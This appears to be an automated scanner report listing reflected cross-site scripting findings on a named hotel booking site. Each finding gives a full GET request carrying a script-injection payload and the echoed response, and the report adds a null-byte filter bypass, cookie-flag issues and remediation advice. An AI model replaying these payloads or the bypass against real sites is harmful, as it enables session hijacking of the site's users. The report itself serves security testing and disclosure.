<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <input type="hidden" value="/en/hi/res/choose_dates.jhtml?DateHidden=&DateType=&IntiCI=&IntiCO=&hotel=LAXBHHH&adId=ThayerLAXBHHH&arrivalMonth=&arrivalYear=&departureMonth=6884c"><script>alert(1)</script>62bd261872e&departureYear=&arrivalDay=29&departureDay=29&__utma=206140544.62875657.1285773038.1285773038.1285773038.1&__utmb=206140544.2.10.1285773038&__utmc=206140544&__utmx=-&__utmz=206140544.1285773038.1.1.utm ...[SNIP]...
The value of the departureMonth request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 32bc6'-alert(1)-'146506bcad8 was submitted in the departureMonth parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:22:25 GMT Connection: keep-alive Content-Length: 36337
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <script type="text/javascript"> var csOrigQueryString1 = 'DateHidden=&DateType=&IntiCI=&IntiCO=&hotel=LAXBHHH&adId=ThayerLAXBHHH&arrivalMonth=&arrivalYear=&departureMonth=32bc6'-alert(1)-'146506bcad8&departureYear=&arrivalDay=29&departureDay=29&__utma=206140544.62875657.1285773038.1285773038.1285773038.1&__utmb=206140544.2.10.1285773038&__utmc=206140544&__utmx=-&__utmz=206140544.1285773038.1.1.utm ...[SNIP]...
The value of the departureYear request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 34cea"><script>alert(1)</script>4cc0328b52d was submitted in the departureYear parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:23:04 GMT Connection: keep-alive Content-Length: 35882
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <input type="hidden" value="/en/hi/res/choose_dates.jhtml?DateHidden=&DateType=&IntiCI=&IntiCO=&hotel=LAXBHHH&adId=ThayerLAXBHHH&arrivalMonth=&arrivalYear=&departureMonth=&departureYear=34cea"><script>alert(1)</script>4cc0328b52d&arrivalDay=29&departureDay=29&__utma=206140544.62875657.1285773038.1285773038.1285773038.1&__utmb=206140544.2.10.1285773038&__utmc=206140544&__utmx=-&__utmz=206140544.1285773038.1.1.utmcsr=bing|utmccn ...[SNIP]...
The value of the departureYear request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dd162'-alert(1)-'ee7cead8a5b was submitted in the departureYear parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:23:09 GMT Connection: keep-alive Content-Length: 36337
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <script type="text/javascript"> var csOrigQueryString1 = 'DateHidden=&DateType=&IntiCI=&IntiCO=&hotel=LAXBHHH&adId=ThayerLAXBHHH&arrivalMonth=&arrivalYear=&departureMonth=&departureYear=dd162'-alert(1)-'ee7cead8a5b&arrivalDay=29&departureDay=29&__utma=206140544.62875657.1285773038.1285773038.1285773038.1&__utmb=206140544.2.10.1285773038&__utmc=206140544&__utmx=-&__utmz=206140544.1285773038.1.1.utmcsr=bing|utmccn ...[SNIP]...
The value of the jsessionid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a3a0b"><script>alert(1)</script>2aae09d59e822a04 was submitted in the jsessionid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:20:15 GMT Connection: keep-alive Content-Length: 41192
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <input type="hidden" value="/en/hi/res/choose_dates.jhtml?_DARGS=/en/hi/res/choose_dates_form_body.jhtmla3a0b"><script>alert(1)</script>2aae09d59e822a04&checkInDay=29&_D%3AcheckInDay=+&checkInMonthYr=September+2010&_D%3AcheckInMonthYr=+&checkOutDay=30&_D%3AcheckOutDay=+&checkOutMonthYr=September+2010&_D%3AcheckOutMonthYr=+&selectedRooms=1&_D%3Aselecte ...[SNIP]...
The value of the jsessionid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4237d'-alert(1)-'6012f2adf2ff65946 was submitted in the jsessionid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:20:22 GMT Connection: keep-alive Content-Length: 41116
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <script type="text/javascript"> var csOrigQueryString1 = '_DARGS=/en/hi/res/choose_dates_form_body.jhtml4237d'-alert(1)-'6012f2adf2ff65946&checkInDay=29&_D%3AcheckInDay=+&checkInMonthYr=September+2010&_D%3AcheckInMonthYr=+&checkOutDay=30&_D%3AcheckOutDay=+&checkOutMonthYr=September+2010&_D%3AcheckOutMonthYr=+&selectedRooms=1&_D%3Aselecte ...[SNIP]...
2.45. https://secure.hilton.com/en/hi/res/choose_dates.jhtml [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://secure.hilton.com
Path:
/en/hi/res/choose_dates.jhtml
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2f8fb</script><script>alert(1)</script>63206a86daf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /en/hi/res/choose_dates.jhtml?2f8fb</script><script>alert(1)</script>63206a86daf=1 HTTP/1.1 Host: secure.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ClrOSSID=1285773080836-41536; ClrCSTO=T; JSESSIONID=I0Y3BPTGUV0FKCSGBJBN2EQ; K3R7=3dk-eQ4XUtRvjpAuL1F6uFYPrMI7Z6lI-I84CbL19IAhNikEbAbyQdg; mmcore.pd=900809129%7C5873798984082; mmcore.tst=0.351; ClrSCD=1285773080836; mmcore.srv=cg1.use; ClrSSID=1285773080836-41536;
Response
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Wed, 29 Sep 2010 15:25:14 GMT Connection: close Connection: Transfer-Encoding Content-Length: 34746
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <script type="text/javascript"> var csOrigQueryString1 = '2f8fb</script><script>alert(1)</script>63206a86daf=1'; </script> ...[SNIP]...
2.46. https://secure.hilton.com/en/hi/res/choose_dates.jhtml [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://secure.hilton.com
Path:
/en/hi/res/choose_dates.jhtml
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c6703"><script>alert(1)</script>0183d83f65c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /en/hi/res/choose_dates.jhtml?c6703"><script>alert(1)</script>0183d83f65c=1 HTTP/1.1 Host: secure.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ClrOSSID=1285773080836-41536; ClrCSTO=T; JSESSIONID=I0Y3BPTGUV0FKCSGBJBN2EQ; K3R7=3dk-eQ4XUtRvjpAuL1F6uFYPrMI7Z6lI-I84CbL19IAhNikEbAbyQdg; mmcore.pd=900809129%7C5873798984082; mmcore.tst=0.351; ClrSCD=1285773080836; mmcore.srv=cg1.use; ClrSSID=1285773080836-41536;
Response
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Wed, 29 Sep 2010 15:25:06 GMT Connection: close Connection: Transfer-Encoding Content-Length: 34720
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <input type="hidden" value="/en/hi/res/choose_dates.jhtml?c6703"><script>alert(1)</script>0183d83f65c=1" name="/com/hilton/crm/client/handler/LoginFormHandler.finalSuccessURL"> ...[SNIP]...
2.47. https://secure.hilton.com/en/hi/res/choose_dates.jhtml [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://secure.hilton.com
Path:
/en/hi/res/choose_dates.jhtml
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d41f1'-alert(1)-'4989c9fd433 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /en/hi/res/choose_dates.jhtml?spec_plan=RP&spec_plan_desc=Romance+Package&hotel=LAXBHHH&d41f1'-alert(1)-'4989c9fd433=1 HTTP/1.1 Host: secure.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ClrOSSID=1285773080836-41536; ClrCSTO=T; JSESSIONID=I0Y3BPTGUV0FKCSGBJBN2EQ; K3R7=3dk-eQ4XUtRvjpAuL1F6uFYPrMI7Z6lI-I84CbL19IAhNikEbAbyQdg; mmcore.pd=900809129%7C5873798984082; mmcore.tst=0.351; ClrSCD=1285773080836; mmcore.srv=cg1.use; ClrSSID=1285773080836-41536;
Response
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Wed, 29 Sep 2010 15:28:18 GMT Connection: close Connection: Transfer-Encoding Content-Length: 35271
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <script type="text/javascript"> var csOrigQueryString1 = 'spec_plan=RP&spec_plan_desc=Romance+Package&hotel=LAXBHHH&d41f1'-alert(1)-'4989c9fd433=1'; </script> ...[SNIP]...
2.48. https://secure.hilton.com/en/hi/res/choose_dates.jhtml [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://secure.hilton.com
Path:
/en/hi/res/choose_dates.jhtml
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload %00d32ef'-alert(1)-'f80cd087253 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as d32ef'-alert(1)-'f80cd087253 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /en/hi/res/choose_dates.jhtml?hotel=LAXBHHH&adId=ThayerLAXBHHH&%00d32ef'-alert(1)-'f80cd087253=1 HTTP/1.1 Host: secure.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ClrOSSID=1285773080836-41536; ClrCSTO=T; JSESSIONID=I0Y3BPTGUV0FKCSGBJBN2EQ; K3R7=3dk-eQ4XUtRvjpAuL1F6uFYPrMI7Z6lI-I84CbL19IAhNikEbAbyQdg; mmcore.pd=900809129%7C5873798984082; mmcore.tst=0.351; ClrSCD=1285773080836; mmcore.srv=cg1.use; ClrSSID=1285773080836-41536;
Response
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Wed, 29 Sep 2010 15:26:33 GMT Connection: close Connection: Transfer-Encoding Content-Length: 34805
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <script type="text/javascript"> var csOrigQueryString1 = 'hotel=LAXBHHH&adId=ThayerLAXBHHH&%00d32ef'-alert(1)-'f80cd087253=1'; </script> ...[SNIP]...
2.49. https://secure.hilton.com/en/hi/res/choose_dates.jhtml [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://secure.hilton.com
Path:
/en/hi/res/choose_dates.jhtml
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 815bf"><script>alert(1)</script>ba1a322f3cf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /en/hi/res/choose_dates.jhtml?hotel=LAXBHHH&adId=ThayerLAXBHHH&815bf"><script>alert(1)</script>ba1a322f3cf=1 HTTP/1.1 Host: secure.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ClrOSSID=1285773080836-41536; ClrCSTO=T; JSESSIONID=I0Y3BPTGUV0FKCSGBJBN2EQ; K3R7=3dk-eQ4XUtRvjpAuL1F6uFYPrMI7Z6lI-I84CbL19IAhNikEbAbyQdg; mmcore.pd=900809129%7C5873798984082; mmcore.tst=0.351; ClrSCD=1285773080836; mmcore.srv=cg1.use; ClrSSID=1285773080836-41536;
Response
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Wed, 29 Sep 2010 15:26:30 GMT Connection: close Connection: Transfer-Encoding Content-Length: 34873
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <input type="hidden" value="/en/hi/res/choose_dates.jhtml?hotel=LAXBHHH&adId=ThayerLAXBHHH&815bf"><script>alert(1)</script>ba1a322f3cf=1" name="/com/hilton/crm/client/handler/LoginFormHandler.finalSuccessURL"> ...[SNIP]...
The value of the spec_plan request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6bded"><script>alert(1)</script>e54519d1fc4 was submitted in the spec_plan parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /en/hi/res/choose_dates.jhtml?spec_plan=RP6bded"><script>alert(1)</script>e54519d1fc4&spec_plan_desc=Romance+Package&hotel=LAXBHHH HTTP/1.1 Host: secure.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ClrOSSID=1285773080836-41536; ClrCSTO=T; JSESSIONID=I0Y3BPTGUV0FKCSGBJBN2EQ; K3R7=3dk-eQ4XUtRvjpAuL1F6uFYPrMI7Z6lI-I84CbL19IAhNikEbAbyQdg; mmcore.pd=900809129%7C5873798984082; mmcore.tst=0.351; ClrSCD=1285773080836; mmcore.srv=cg1.use; ClrSSID=1285773080836-41536;
Response
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Wed, 29 Sep 2010 15:23:45 GMT Connection: close Connection: Transfer-Encoding Content-Length: 35398
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <input type="hidden" value="/en/hi/res/choose_dates.jhtml?spec_plan=RP6bded"><script>alert(1)</script>e54519d1fc4&spec_plan_desc=Romance+Package&hotel=LAXBHHH" name="/com/hilton/crm/client/handler/LoginFormHandler.finalSuccessURL"> ...[SNIP]...
The value of the spec_plan request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fb45e'-alert(1)-'e63a84bd991 was submitted in the spec_plan parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /en/hi/res/choose_dates.jhtml?spec_plan=RPfb45e'-alert(1)-'e63a84bd991&spec_plan_desc=Romance+Package&hotel=LAXBHHH HTTP/1.1 Host: secure.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ClrOSSID=1285773080836-41536; ClrCSTO=T; JSESSIONID=I0Y3BPTGUV0FKCSGBJBN2EQ; K3R7=3dk-eQ4XUtRvjpAuL1F6uFYPrMI7Z6lI-I84CbL19IAhNikEbAbyQdg; mmcore.pd=900809129%7C5873798984082; mmcore.tst=0.351; ClrSCD=1285773080836; mmcore.srv=cg1.use; ClrSSID=1285773080836-41536;
Response
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Wed, 29 Sep 2010 15:23:47 GMT Connection: close Connection: Transfer-Encoding Content-Length: 35300
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <script type="text/javascript"> var csOrigQueryString1 = 'spec_plan=RPfb45e'-alert(1)-'e63a84bd991&spec_plan_desc=Romance+Package&hotel=LAXBHHH'; </script> ...[SNIP]...
The value of the spec_plan_desc request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4926a"><script>alert(1)</script>31571c9b1f8 was submitted in the spec_plan_desc parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /en/hi/res/choose_dates.jhtml?spec_plan=RP&spec_plan_desc=Romance+Package4926a"><script>alert(1)</script>31571c9b1f8&hotel=LAXBHHH HTTP/1.1 Host: secure.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ClrOSSID=1285773080836-41536; ClrCSTO=T; JSESSIONID=I0Y3BPTGUV0FKCSGBJBN2EQ; K3R7=3dk-eQ4XUtRvjpAuL1F6uFYPrMI7Z6lI-I84CbL19IAhNikEbAbyQdg; mmcore.pd=900809129%7C5873798984082; mmcore.tst=0.351; ClrSCD=1285773080836; mmcore.srv=cg1.use; ClrSSID=1285773080836-41536;
Response
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Wed, 29 Sep 2010 15:24:01 GMT Connection: close Connection: Transfer-Encoding Content-Length: 35441
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <input type="hidden" value="/en/hi/res/choose_dates.jhtml?spec_plan=RP&spec_plan_desc=Romance+Package4926a"><script>alert(1)</script>31571c9b1f8&hotel=LAXBHHH" name="/com/hilton/crm/client/handler/LoginFormHandler.finalSuccessURL"> ...[SNIP]...
The value of the spec_plan_desc request parameter is copied into the HTML document as plain text between tags. The payload b3774<script>alert(1)</script>f2e28ed2680 was submitted in the spec_plan_desc parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /en/hi/res/choose_dates.jhtml?spec_plan=RP&spec_plan_desc=Romance+Packageb3774<script>alert(1)</script>f2e28ed2680&hotel=LAXBHHH HTTP/1.1 Host: secure.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ClrOSSID=1285773080836-41536; ClrCSTO=T; JSESSIONID=I0Y3BPTGUV0FKCSGBJBN2EQ; K3R7=3dk-eQ4XUtRvjpAuL1F6uFYPrMI7Z6lI-I84CbL19IAhNikEbAbyQdg; mmcore.pd=900809129%7C5873798984082; mmcore.tst=0.351; ClrSCD=1285773080836; mmcore.srv=cg1.use; ClrSSID=1285773080836-41536;
Response
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Wed, 29 Sep 2010 15:24:04 GMT Connection: close Connection: Transfer-Encoding Content-Length: 35413
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <input type="hidden" name="_D:/com/hilton/res/common/Reservation.selectedSRPs" value=" ">Romance Packageb3774<script>alert(1)</script>f2e28ed2680
The value of the spec_plan_desc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c4e15'-alert(1)-'662811fa6ad was submitted in the spec_plan_desc parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /en/hi/res/choose_dates.jhtml?spec_plan=RP&spec_plan_desc=Romance+Packagec4e15'-alert(1)-'662811fa6ad&hotel=LAXBHHH HTTP/1.1 Host: secure.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ClrOSSID=1285773080836-41536; ClrCSTO=T; JSESSIONID=I0Y3BPTGUV0FKCSGBJBN2EQ; K3R7=3dk-eQ4XUtRvjpAuL1F6uFYPrMI7Z6lI-I84CbL19IAhNikEbAbyQdg; mmcore.pd=900809129%7C5873798984082; mmcore.tst=0.351; ClrSCD=1285773080836; mmcore.srv=cg1.use; ClrSSID=1285773080836-41536;
Response
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Wed, 29 Sep 2010 15:24:04 GMT Connection: close Connection: Transfer-Encoding Content-Length: 35311
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <script type="text/javascript"> var csOrigQueryString1 = 'spec_plan=RP&spec_plan_desc=Romance+Packagec4e15'-alert(1)-'662811fa6ad&hotel=LAXBHHH'; </script> ...[SNIP]...
3. SSL cookie without secure flag setpreviousnext There are 3 instances of this issue:
If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.
Issue remediation
The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.
The following cookie was issued by the application and does not have the secure flag set:
JSESSIONID=I0Y3BPTGUV0FKCSGBJBN2EQ; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.
Issue remediation
The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.
var csGenShoppingCartData;csExecuteShoppingCart();csExecuteTracker();function csExecuteShoppingCart(){try{if(typeof(csSalesStageCode)!='undefined'||typeof(csItems)!='undefined'){csGenShoppingCartData= ...[SNIP]...
// preload images var cart_icon_0 = new Image(); var cart_icon_1 = new Image(); cart_icon_0.src = "/en/common/media/images/icons/icon_cart_off.gif"; cart_icon_1.src = "/en/common/media/images/icons/ic ...[SNIP]...
